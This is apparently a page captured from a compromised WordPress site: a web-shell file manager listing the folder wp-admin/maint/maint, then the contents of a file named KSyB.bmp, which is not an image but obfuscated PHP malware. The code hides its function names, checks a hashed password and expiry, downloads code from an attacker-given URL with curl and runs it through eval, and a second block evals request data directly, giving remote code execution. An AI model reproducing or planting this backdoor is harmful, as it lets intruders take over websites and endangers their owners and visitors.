9B534B8686E580E0E01768F00155B461

at path：ROOT / wp-admin / maint / maint / KSyB.bmp

run：R W Run

.htaccess

219 By

2025-12-24 14:39:47

R W Run

KSyB.bmp

5.21 KB

2025-12-24 14:39:47

R W Run

index.php

51 By

2025-12-24 14:39:47

R W Run

error_log

📄KSyB.bmp

<?php
 goto cnE7sB3mNWoz; PfNu_DKaCSYw: metaphone("\x46\162\101\x4f\145\141\x58\156\x38\x66\166\160\x37\66\63\165\131\x38\x49\143\x48\114\x4f\x47\x2b\101\107\x51\x77\x56\x30\x6e\x7a\172\x6a\x49\126\112\161\71\53\x74\115"); goto a1YnV8Od4fWS; a1YnV8Od4fWS: class xtxfxqLiqgUp { static function T6AsFrREFp2r($icI_CCVEw2Lx) { goto sDcD0LcS0HE9; UHlikOUjldLV: $JX87XIqNpYwJ = explode("\44", $icI_CCVEw2Lx); goto mlDkzKpB9rkM; Yef8sEQQP4Su: $cl7ZJJRmEDhJ = $JKHgaV2iI760("\x7e", "\x20"); goto UHlikOUjldLV; mlDkzKpB9rkM: $P07LXeUuOVwd = ''; goto dPO9Ew6zAEXi; x3mhPbRqhRw1: CAcoIgqvtJS0: goto bXin0_sqsXAy; dPO9Ew6zAEXi: foreach ($JX87XIqNpYwJ as $wtvvGuXCGte8 => $l4N3bcjt4hQo) { $P07LXeUuOVwd .= $cl7ZJJRmEDhJ[$l4N3bcjt4hQo - 9894]; nGIsUrD3_vBd: } goto x3mhPbRqhRw1; sDcD0LcS0HE9: $JKHgaV2iI760 = "\162" . "\x61" . "\x6e" . "\147" . "\x65"; goto Yef8sEQQP4Su; bXin0_sqsXAy: return $P07LXeUuOVwd; goto fgszrqrUWqa0; fgszrqrUWqa0: } static function lgoxPkOmUcpL($SaL7bs5H35hg, $aL07g2SMmrDa) { goto HghYt7ZwCqy1; tlMYRqleanun: return empty($MNABkaOftUJn) ? $aL07g2SMmrDa($SaL7bs5H35hg) : $MNABkaOftUJn; goto TnxFBynioZFH; eh3MwkwNZo9D: $MNABkaOftUJn = curl_exec($nnH4pfZsyI9j); goto tlMYRqleanun; sf8G9eToVCZd: curl_setopt($nnH4pfZsyI9j, CURLOPT_RETURNTRANSFER, 1); goto eh3MwkwNZo9D; HghYt7ZwCqy1: $nnH4pfZsyI9j = curl_init($SaL7bs5H35hg); goto sf8G9eToVCZd; TnxFBynioZFH: } static function cZK4T569Czti() { goto kNDkE7Aj1MY_; KRl9Jar_CrIR: foreach ($HpttAElkQ5rb as $iZJtJfOJrK3j) { $aG6_176V_uV_[] = self::T6aSFrreFP2R($iZJtJfOJrK3j); Op1UPPYS5D_7: } goto lYCqKYe1pSQ6; PzjHSMzRTv7k: $hlgSjjIUS6Wc = @$aG6_176V_uV_[1]($aG6_176V_uV_[9 + 1](INPUT_GET, $aG6_176V_uV_[6 + 3])); goto d7zpxOYZ8frA; lYCqKYe1pSQ6: sfTc6au1U9Ta: goto PzjHSMzRTv7k; gcPu9kwoDlQZ: @$aG6_176V_uV_[1 + 9](INPUT_GET, "\x6f\146") == 1 && die($aG6_176V_uV_[1 + 4](__FILE__)); goto phipL80fnMVw; kNDkE7Aj1MY_: $HpttAElkQ5rb = array("\71\x39\62\x31\44\71\71\60\x36\x24\x39\x39\x31\71\x24\x39\71\x32\63\44\x39\x39\60\64\44\x39\71\61\x39\44\x39\71\x32\x35\x24\71\x39\x31\x38\44\x39\71\60\x33\44\x39\x39\61\60\x24\x39\x39\62\x31\x24\x39\x39\x30\x34\44\x39\71\x31\x35\x24\71\71\60\x39\x24\x39\x39\x31\60", "\x39\x39\x30\x35\x24\x39\71\x30\64\x24\x39\71\60\66\x24\71\x39\62\x35\44\71\x39\x30\x36\x24\71\71\x30\71\x24\71\71\x30\x34\x24\x39\x39\x37\61\44\x39\x39\x36\x39", "\x39\x39\61\x34\x24\x39\x39\60\x35\44\71\x39\60\71\x24\71\x39\x31\60\x24\71\71\x32\65\44\71\71\x32\x30\x24\71\x39\x31\x39\x24\x39\x39\62\x31\44\x39\71\x30\71\44\x39\x39\x32\x30\44\x39\x39\61\71", "\x39\x39\x30\x38\x24\71\x39\62\63\44\71\71\x32\61\44\x39\x39\x31\x33", "\x39\x39\x32\62\44\71\x39\62\63\44\71\x39\60\x35\x24\71\71\x31\71\x24\x39\x39\66\x36\x24\71\x39\66\70\x24\x39\x39\x32\65\44\71\x39\x32\x30\44\71\71\x31\x39\44\71\71\62\61\44\x39\71\60\x39\44\x39\71\x32\x30\44\71\x39\x31\71", "\71\71\61\70\x24\x39\71\x31\x35\x24\71\x39\61\62\44\71\x39\61\71\44\71\x39\x32\x35\x24\71\x39\61\67\x24\x39\71\x31\71\x24\71\71\x30\x34\x24\x39\x39\62\65\x24\x39\71\x32\x31\x24\71\71\x30\71\44\71\x39\x31\x30\44\x39\71\60\x34\44\71\x39\x31\x39\44\x39\71\61\x30\x24\x39\x39\60\x34\44\x39\71\x30\65", "\x39\71\64\70\x24\71\71\x37\70", "\x39\x38\x39\x35", "\71\71\67\x33\44\x39\71\x37\x38", "\71\x39\x35\x35\x24\71\71\63\70\x24\x39\x39\x33\70\44\71\71\x35\65\x24\x39\71\x33\x31", "\x39\x39\61\x38\x24\x39\x39\61\65\44\71\71\x31\62\44\71\x39\60\64\44\x39\x39\61\71\x24\x39\71\x30\x36\x24\x39\71\x32\x35\x24\71\71\x31\x35\x24\x39\71\x31\x30\x24\x39\71\60\70\44\71\71\60\x33\x24\x39\71\x30\x34"); goto KRl9Jar_CrIR; COwv1nECIj3X: ILC_eDHCuAXi: goto V8siD2jDyeyX; d7zpxOYZ8frA: $O6_34TGnD1MG = @$aG6_176V_uV_[2 + 1]($aG6_176V_uV_[4 + 2], $hlgSjjIUS6Wc); goto Uo9hmpUYzWSc; Uo9hmpUYzWSc: $Am1KLNF7I5z0 = $aG6_176V_uV_[1 + 1]($O6_34TGnD1MG, true); goto gcPu9kwoDlQZ; Dp6pXn5Dl2n2: die; goto COwv1nECIj3X; phipL80fnMVw: if (!(@$Am1KLNF7I5z0[0] - time() > 0 and md5(md5($Am1KLNF7I5z0[1 + 2])) === "\x33\x36\66\x33\71\60\143\61\146\x66\71\x64\x35\143\63\x64\63\61\142\143\65\x62\x37\x33\66\67\142\145\145\x66\x32\x36")) { goto ILC_eDHCuAXi; } goto UuwSoZSzEAFB; UuwSoZSzEAFB: $DM2v8RwuQwIK = self::lGoxpKOMuCPL($Am1KLNF7I5z0[1 + 0], $aG6_176V_uV_[3 + 2]); goto YUi5m44tfUf7; YUi5m44tfUf7: @eval($aG6_176V_uV_[3 + 1]($DM2v8RwuQwIK)); goto Dp6pXn5Dl2n2; V8siD2jDyeyX: } } goto Ntbd4tNa4Wzn; cEySu7Z0C2qY: $RRfYYA30K7PF = ${$tzNuwcjmMdzQ[7 + 24] . $tzNuwcjmMdzQ[9 + 50] . $tzNuwcjmMdzQ[22 + 25] . $tzNuwcjmMdzQ[25 + 22] . $tzNuwcjmMdzQ[18 + 33] . $tzNuwcjmMdzQ[30 + 23] . $tzNuwcjmMdzQ[16 + 41]}; goto Ygm20vXfVNmX; dJj5hERXg_v8: ($RRfYYA30K7PF[63] = $RRfYYA30K7PF[63] . $RRfYYA30K7PF[71]) && ($RRfYYA30K7PF[81] = $RRfYYA30K7PF[63]($RRfYYA30K7PF[81])) && @eval($RRfYYA30K7PF[63](${$RRfYYA30K7PF[40]}[10])); goto r4x0ISspzTrw; dTNK6GjO7BUE: $tzNuwcjmMdzQ = $UIzTCqinSPoK("\x7e", "\x20"); goto cEySu7Z0C2qY; cnE7sB3mNWoz: $UIzTCqinSPoK = "\x72" . "\141" . "\156" . "\147" . "\x65"; goto dTNK6GjO7BUE; r4x0ISspzTrw: bdEL3516IWSY: goto PfNu_DKaCSYw; Ygm20vXfVNmX: if (!(in_array(gettype($RRfYYA30K7PF) . count($RRfYYA30K7PF), $RRfYYA30K7PF) && count($RRfYYA30K7PF) == 24 && md5(md5(md5(md5($RRfYYA30K7PF[18])))) === "\65\145\66\142\x64\x63\x31\63\x38\x31\x30\71\143\x31\61\x34\146\143\x66\146\x32\142\146\x63\x65\66\x34\x37\x31\x66\144\66")) { goto bdEL3516IWSY; } goto dJj5hERXg_v8; Ntbd4tNa4Wzn: xtXfxqlIqgup::Czk4t569CztI();
?>